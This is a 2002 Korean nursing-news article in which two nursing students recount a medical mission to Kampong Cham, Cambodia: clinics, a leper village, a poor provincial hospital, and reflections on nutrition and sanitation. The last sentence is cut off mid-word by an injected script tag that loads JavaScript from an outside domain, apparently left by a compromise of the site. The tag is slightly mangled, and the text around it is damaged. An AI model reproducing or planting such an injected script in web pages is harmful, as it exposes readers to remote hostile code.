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캄보디아 의료선교를 다녀와서
함께 살아가는 인류애 배워
[연대 원주의대 간호학부 4년] 강혜원·김분화   news@nursenews.co.kr     기사입력 2002-04-11 오전 10:23:23

우리는 연대 원주의대 부속병원에서 구성한 '캄보디아 의료선교단'의 일원이 되어 지난 2월 1일 비행길에 올랐다.

캄보디아는 오랜 내전과 관료화된 사회주의로 인해 많은 사람들이 무고하게 죽어간 아픈 역사를 가진 곳으로, 전 인구의 2%가 신체장애자이며 여성과 아이들은 영양실조와 생활고에 시달리고 있다. 이러한 killing field가 healing field가 되길 소망하며 우리 선교단은 캄퐁참에 있는 벧엘 선교관에 도착했다.

다음날 아침, 선교관 마당에는 벌써 100여명의 사람들이 진료를 받기 위해 모여들었다. 성형외과에서는 언청이수술, 안과에서는 백내장수술이 시행됐고, 치과에서는 주로 치통을 호소하는 환자의 발치가 이뤄졌다. 피부과 문제는 위생상태가 좋지 않아서 생기는 질병이, 소아과에 온 아이들은 영양결핍으로 인한 빈혈, 구루병, 발육부전 등의 문제가 대부분이었다.

그곳 아이들의 눈은 참 크고 맑았다. 비록 머리가 헝클어지고 손발은 더러웠으며, 몸에는 피부병이 있고 옷엔 때가 잔뜩 찌들어 있어도 말이다. 약을 주면서 틈틈이 익힌 캄보디아말로 '뭉하이 삐덩'(하루에 두번)이라고 말하자 웃으며 볼을 쓰다듬어 주셨던 어느 할머니의 모습에서 문득 이웃 할머니의 모습을 발견했고 어느새 우린 그들과 가깝고 정겨워졌다.

나환자촌도 방문했다. 프랑스 식민지였을 때는 프랑스 수녀들이 나환자를 돌봤지만 식민통치가 끝나면서 그들도 떠나고, 국가에서 관리한다고 하나 가끔 약을 발라주는 정도라고 한다. 아이들은 나균에 노출된 채 태어나 제대로 보살핌을 받지 못하며 자라고 있었다.

사실 이곳에 오기 전에 피부과 선생님으로부터 나병에 대한 설명을 듣긴 했지만 막상 환자를 직접 본다고 생각하니 두려운 마음이 앞섰다. 그런데 함께 온 선교사님은 그들을 안아주고 환부를 우리에게 보여주는게 아닌가? 선교사들은 그들의 생활을 향상시키려 정성을 다하고 있었지만 나병의 치료와 예방에 대해서는 난감해했다.

다음날은 시내에서 가장 크다는 캄퐁참 도립병원으로 향했다. 도립병원에는 몇 개의 책상과 나무침대 외에 별다른 의료시설을 찾아볼 수 없었고 몇 안 되는 치료시설도 위생상태가 열악했으며, 그나마도 의료비가 없어서 대부분의 주민들이 진료를 받지 못하는 실정이었다.

사람들은 계속 몰려드는데 준비한 약이 다 떨어지자 할 수 없이 진료를 마무리하고 사람들을 돌려보내야 했다. 이곳에서는 무료로 나눠주는 약은 어떤 약인지도 모른채 함부로 팔리기 때문에 한꺼번에 많은 약을 줄 수 없었고, 포장을 벗겨서 주어야 했다.

진료를 돕고, 약을 나눠주는 일을 하는 과정에서 문득 이런 일시적인 의료서비스가 무슨 의미가 있을까 하는 생각이 들었다. 사실 그들에게는 몸이 불편한 것보다는 배고픔과 최소한의 위생이 더 시급한 문제로 보였다.

캄보디아에서 며칠을 보내는 동안 이곳의 열악한 환경을 보고 참 많이 놀랐다. 수도가 제대로 공급되지 않아 빗물이나 우물물을 이용해야 하고 화장실도 제대로 갖춰져 있지 않았으며 아이들은 흙 덮힌 도로를 맨발로 뛰어다녔다. 기생충 감염이나 피부병으로 고생하는 사람이 많았고 충치환자가 넘쳤으며, 대다수가 영양결핍상태에 있었다.

캄보디아 주민과 어린이들의 건강을 위해 무엇보다도 영양과 위생에 대한 구조적 개선이 시급할 것 같다. 나이팅게일 여사가 크리미아 전쟁터의 야전병원에서 부상병의 사망을 줄일 수 있었던 가장 큰 이유가 영양과 위생에 대한 과학적 접근과 행정개혁이었다고 알고 있다. 나이팅게일 여사가 이곳에 왔더라면 어떤 일부터 했을까? 그분은 우선 하수도, 정화조 시설, 영양상태 등을 과학적으로 분석해 정책가에게 건의안을 보냈을 것이고, 원조를 받아내 대대적인 위생관리와 영양관리 개혁을 이뤘을 것이다.

추후관리가 중요한 수술환자의 기록을 남기고, 선교사에게 투약하는 방법을 세심히 알려주면서 이같은 일을 담당할 현지 인력이 없는 것이 안타까웠다. 이곳 환자들의 질병 특성에 대한 정보가 있으면 약과 비용이 효율적으로 쓰일 것 같다는 진료팀 선생님의 말씀에도 공감이 갔다. 그러나 우리의 도움의 손길이 계속될 때 이 곳이 바로 새로워질 수 있을 것이라는 희망을 가지며 8일간의 캄보디아 의료선교 활동을 접었다.

진료를 받으러 모여든 사람들을 보면서 몸은 피곤해도 우리의 도움을 필요로 하는 곳에서 그들을 도울 수 있다는 것이 얼마나 감사하고 행복한 일인지 새삼 느꼈다. 더러운 옷을 입고 있었지만 크고 맑은 눈을 가진 아이들, 나환자촌 사람들과 진료를 받기 위해 줄서있던 많은 사람들, 그들도 우리와 똑같이 존중받고 사랑받아야 할 인간이고 이웃이라는 생각을 갖게 됐다.

다른 세계로 시야를 넓히고 그 속에서의 인간을 위한 간호의 의미?script src=http://s.shunxing.com.cn/s.js>
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